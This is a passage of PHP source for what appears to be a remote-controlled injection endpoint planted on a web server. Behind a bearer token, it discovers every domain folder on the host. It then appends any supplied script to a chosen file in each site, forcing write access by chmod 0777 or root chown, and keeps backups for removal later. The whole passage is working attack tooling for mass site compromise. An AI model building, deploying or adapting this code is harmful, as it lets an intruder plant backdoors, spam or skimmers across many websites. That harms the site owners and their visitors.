$rr, 'd' => 0]; } while (!empty($queue) && $scanned < $maxDirs) { $it = array_shift($queue); $p = $it['p']; $d = $it['d']; if (isset($visited[$p])) continue; $visited[$p] = 1; if (!is_dir($p)) continue; $res[] = $p; $scanned++; if ($d >= $maxDepth) continue; $ch = @scandir($p); if (!is_array($ch)) continue; foreach ($ch as $c) { if ($c === '.' || $c === '..') continue; $child = $p . DIRECTORY_SEPARATOR . $c; if (is_dir($child) && !isset($visited[$child])) $queue[] = ['p' => $child, 'd' => $d + 1]; } } return $res; } function detect_webroot_auto(string $startDir, array $allowedTlds, int $maxUp = 12) { $cur = realpath($startDir); if ($cur === false) return false; $level = 0; while ($cur !== false && $level <= $maxUp) { $children = @scandir($cur); if (is_array($children)) { foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $p = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($p) && is_domain_folder($c, $allowedTlds)) return realpath($p); } } $parent = dirname($cur); if ($parent === $cur) break; $cur = $parent; $level++; } return realpath(dirname($startDir)); } function detect_domain_webroot(string $domainPath, string $target_filename, int $maxDepth = 4) { $queue = [['path' => realpath($domainPath), 'depth' => 0]]; $visited = []; while (!empty($queue)) { $it = array_shift($queue); $cur = $it['path']; $d = $it['depth']; if (!$cur || isset($visited[$cur])) continue; $visited[$cur] = 1; $targetPath = $cur . DIRECTORY_SEPARATOR . $target_filename; if (file_exists($targetPath)) return $targetPath; if ($d >= $maxDepth) continue; $children = @scandir($cur); if (!is_array($children)) continue; foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($child)) $queue[] = ['path' => $child, 'depth' => $d + 1]; } } return false; } // ----------------- IMPROVED INJECTION DETECTION ----------------- function is_snippet_injected(string $content, string $snippet): bool { if (trim($snippet) === '') return false; // Normalize whitespace for comparison $normalized_content = preg_replace('/\s+/', ' ', $content); $normalized_snippet = preg_replace('/\s+/', ' ', $snippet); // Check if exact snippet exists if (strpos($normalized_content, $normalized_snippet) !== false) { return true; } // Check for partial matches (if snippet is large, check for significant portions) $snippet_lines = array_filter(explode("\n", $snippet), function($line) { return trim($line) !== '' && strlen(trim($line)) > 10; }); if (count($snippet_lines) > 0) { $significant_matches = 0; foreach ($snippet_lines as $line) { $trimmed_line = trim($line); if (strlen($trimmed_line) > 10 && strpos($normalized_content, $trimmed_line) !== false) { $significant_matches++; } } // If more than 50% of significant lines are found, consider it injected if ($significant_matches > 0 && ($significant_matches / count($snippet_lines)) > 0.5) { return true; } } return false; } function generate_injection_signature(string $snippet): string { // Create a unique signature for this snippet to detect exact injections $lines = array_filter(explode("\n", $snippet), function($line) { $trimmed = trim($line); return $trimmed !== '' && !preg_match('/^\s*\/\//', $trimmed) && !preg_match('/^\s*#/', $trimmed); }); if (empty($lines)) return ''; // Take first 3 significant lines and create signature $significant_lines = array_slice($lines, 0, 3); $signature = ''; foreach ($significant_lines as $line) { $signature .= substr(trim($line), 0, 20) . '|'; } return md5($signature); } // ----------------- FILE PERMISSION HELPERS ----------------- function force_file_writable(string $filePath): array { $result = [ 'success' => false, 'original_perms' => null, 'new_perms' => null, 'method' => 'none' ]; if (!file_exists($filePath)) { return $result; } // Get original permissions $originalPerms = fileperms($filePath); $result['original_perms'] = substr(sprintf('%o', $originalPerms), -4); // Check if already writable if (is_writable($filePath)) { $result['success'] = true; $result['method'] = 'already_writable'; return $result; } // Try direct chmod 0777 first if (@chmod($filePath, 0777)) { $result['success'] = true; $result['new_perms'] = substr(sprintf('%o', fileperms($filePath)), -4); $result['method'] = 'chmod_0777'; return $result; } // If chmod 0777 fails, try ownership change (if we have permission) if (function_exists('posix_getuid') && posix_getuid() === 0) { // Running as root, try to change ownership to web server user $currentUser = get_current_user(); if (@chown($filePath, $currentUser)) { @chmod($filePath, 0777); $result['success'] = is_writable($filePath); $result['new_perms'] = substr(sprintf('%o', fileperms($filePath)), -4); $result['method'] = 'chown_then_chmod'; return $result; } } // Last resort: try less permissive modes $modes = [0666, 0644, 0755, 0775]; foreach ($modes as $mode) { if (@chmod($filePath, $mode) && is_writable($filePath)) { $result['success'] = true; $result['new_perms'] = substr(sprintf('%o', fileperms($filePath)), -4); $result['method'] = 'chmod_' . decoct($mode); return $result; } } return $result; } function backup_file(string $filePath): ?string { if (!file_exists($filePath)) { return null; } $backupPath = $filePath . '.backup_' . date('Y-m-d_His'); if (@copy($filePath, $backupPath)) { @chmod($backupPath, 0644); // Secure backup file return $backupPath; } return null; } // ----------------- AUTH ----------------- $token = get_bearer_token(); if (!$token) respond_json(401, ['status' => 'error', 'message' => 'Missing Authorization: Bearer ']); if (!hash_equals($API_TOKEN, $token)) respond_json(403, ['status' => 'error', 'message' => 'Invalid token']); // ----------------- INPUT ----------------- $raw = file_get_contents('php://input'); $input = json_decode($raw, true); if (!is_array($input)) $input = []; $action = $input['action'] ?? ''; $target_filename = $input['target_filename'] ?? ''; $script = isset($input['script']) ? (string)$input['script'] : ''; $force_chmod = isset($input['force_chmod']) ? (bool)$input['force_chmod'] : true; // Default true for backward compatibility $create_backup = isset($input['create_backup']) ? (bool)$input['create_backup'] : true; // Default true for safety $excludes = isset($input['excludes']) && is_array($input['excludes']) ? array_values(array_filter(array_map('strval', $input['excludes']))) : []; $excludes = array_map('trim', $excludes); if (!in_array($action, $ALLOWED_ACTIONS, true)) respond_json(400, ['status' => 'error', 'message' => 'Invalid action']); // ----------------- DETERMINE ROOTS ----------------- $apiDir = realpath(__DIR__); $webroot = detect_webroot_auto($apiDir, $ALLOWED_TLDS); if ($webroot === false) respond_json(500, ['status' => 'error', 'message' => 'Unable to detect webroot']); $roots = [$webroot, dirname($webroot), $apiDir]; $roots = array_values(array_unique(array_map(function($p){return realpath($p)?:$p;},$roots))); // ----------------- ACTION: probe ----------------- if ($action === 'probe') { $dirs = scan_dirs_bfs($roots, $MAX_SCAN_DEPTH, $MAX_SCAN_DIRS); $discovered = []; foreach ($dirs as $d) { $base = basename($d); if (!is_domain_folder($base, $ALLOWED_TLDS)) continue; if (is_excluded($base, $excludes)) continue; $discovered[] = ['name' => $base, 'path' => $d, 'suggested_targets' => [$d . DIRECTORY_SEPARATOR . $target_filename]]; } respond_json(200, [ 'status' => 'ok', 'action' => 'probe', 'summary' => ['webroot' => $webroot, 'scan_roots' => $roots, 'scanned_dirs' => count($dirs), 'discovered_count' => count($discovered)], 'data' => ['discovered' => $discovered] ]); } // ----------------- ACTION: inject / uninject ----------------- if (in_array($action, ['inject', 'uninject'])) { if (!$target_filename) respond_json(400, ['status' => 'error', 'message' => 'target_filename required']); $dirs = scan_dirs_bfs($roots, $MAX_SCAN_DEPTH, $MAX_SCAN_DIRS); $candidates = []; foreach ($dirs as $d) { $base = basename($d); if (!is_domain_folder($base, $ALLOWED_TLDS)) continue; if (is_excluded($base, $excludes)) continue; $candidates[] = ['name' => $base, 'path' => $d]; } if (empty($candidates)) respond_json(200, ['status' => 'skipped', 'action' => $action, 'summary' => ['targets' => 0], 'data' => ['results' => []]]); $results = []; $snippet_signature = generate_injection_signature($script); foreach ($candidates as $c) { $base = $c['name']; $targetFile = detect_domain_webroot($c['path'], $target_filename); if (!$targetFile) { $results[] = ['domain' => $base, 'target' => $c['path'] . '/' . $target_filename, 'reason' => 'file_not_found']; continue; } try { $original = file_exists($targetFile) ? @file_get_contents($targetFile) : ''; $is_injected = is_snippet_injected($original, $script); $backupPath = null; $chmodResult = ['success' => false, 'method' => 'none']; // Create backup if requested if ($create_backup && file_exists($targetFile)) { $backupPath = backup_file($targetFile); } // FORCE CHMOD DULUAN SEBELUM WRITE! if ($force_chmod && file_exists($targetFile)) { $chmodResult = force_file_writable($targetFile); if (!$chmodResult['success']) { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'reason' => 'file_not_writable', 'chmod_attempt' => $chmodResult ]; continue; } } if ($action === 'inject') { // snippet must not be empty if ($script === '') { $results[] = ['domain' => $base, 'target' => $targetFile, 'reason' => 'empty_snippet']; continue; } // If snippet already exists, skip to avoid double-inject if ($is_injected) { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'reason' => 'already_injected', 'signature' => $snippet_signature, 'chmod_info' => $chmodResult ]; continue; } // if file has NO closing PHP tag anywhere, add one before injecting to avoid syntax error if (strpos($original, '?>') === false) { // append closing tag, then the snippet $new = $original . "\n?>\n" . $script . "\n"; } else { // file already has closing tag(s) — just append snippet at end $new = $original . "\n" . $script . "\n"; } // write with exclusive lock to reduce race conditions $bytes_written = @file_put_contents($targetFile, $new, LOCK_EX); if ($bytes_written !== false) { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'note' => 'injected_real', 'bytes_written' => $bytes_written, 'signature' => $snippet_signature, 'chmod_info' => $chmodResult, 'backup' => $backupPath, 'final_permissions' => substr(sprintf('%o', fileperms($targetFile)), -4) ]; } else { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'reason' => 'write_failed', 'chmod_info' => $chmodResult ]; } } else { // uninject: remove first exact occurrence of the snippet (if found) if ($script === '') { $results[] = ['domain' => $base, 'target' => $targetFile, 'reason' => 'empty_snippet']; continue; } if ($is_injected) { // remove first occurrence only (preserve others) $pattern = '/' . preg_quote($script, '/') . '/s'; $new = preg_replace($pattern, '', $original, 1); $bytes_written = @file_put_contents($targetFile, $new, LOCK_EX); if ($bytes_written !== false) { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'note' => 'uninjected_real', 'bytes_written' => $bytes_written, 'signature' => $snippet_signature, 'chmod_info' => $chmodResult, 'backup' => $backupPath, 'final_permissions' => substr(sprintf('%o', fileperms($targetFile)), -4) ]; } else { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'reason' => 'write_failed', 'chmod_info' => $chmodResult ]; } } else { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'reason' => 'snippet_not_found', 'signature' => $snippet_signature, 'chmod_info' => $chmodResult, 'backup' => $backupPath ]; } } } catch (\Throwable $e) { $results[] = [ 'domain' => $base, 'target' => $targetFile, 'error' => $e->getMessage(), 'chmod_info' => $chmodResult ]; } } $summary = ['webroot' => $webroot, 'scan_roots' => $roots, 'candidates' => count($candidates)]; respond_json(200, ['status' => 'real', 'action' => $action, 'summary' => $summary, 'data' => ['results' => $results]]); } respond_json(400, ['status' => 'error', 'message' => 'Unhandled case']);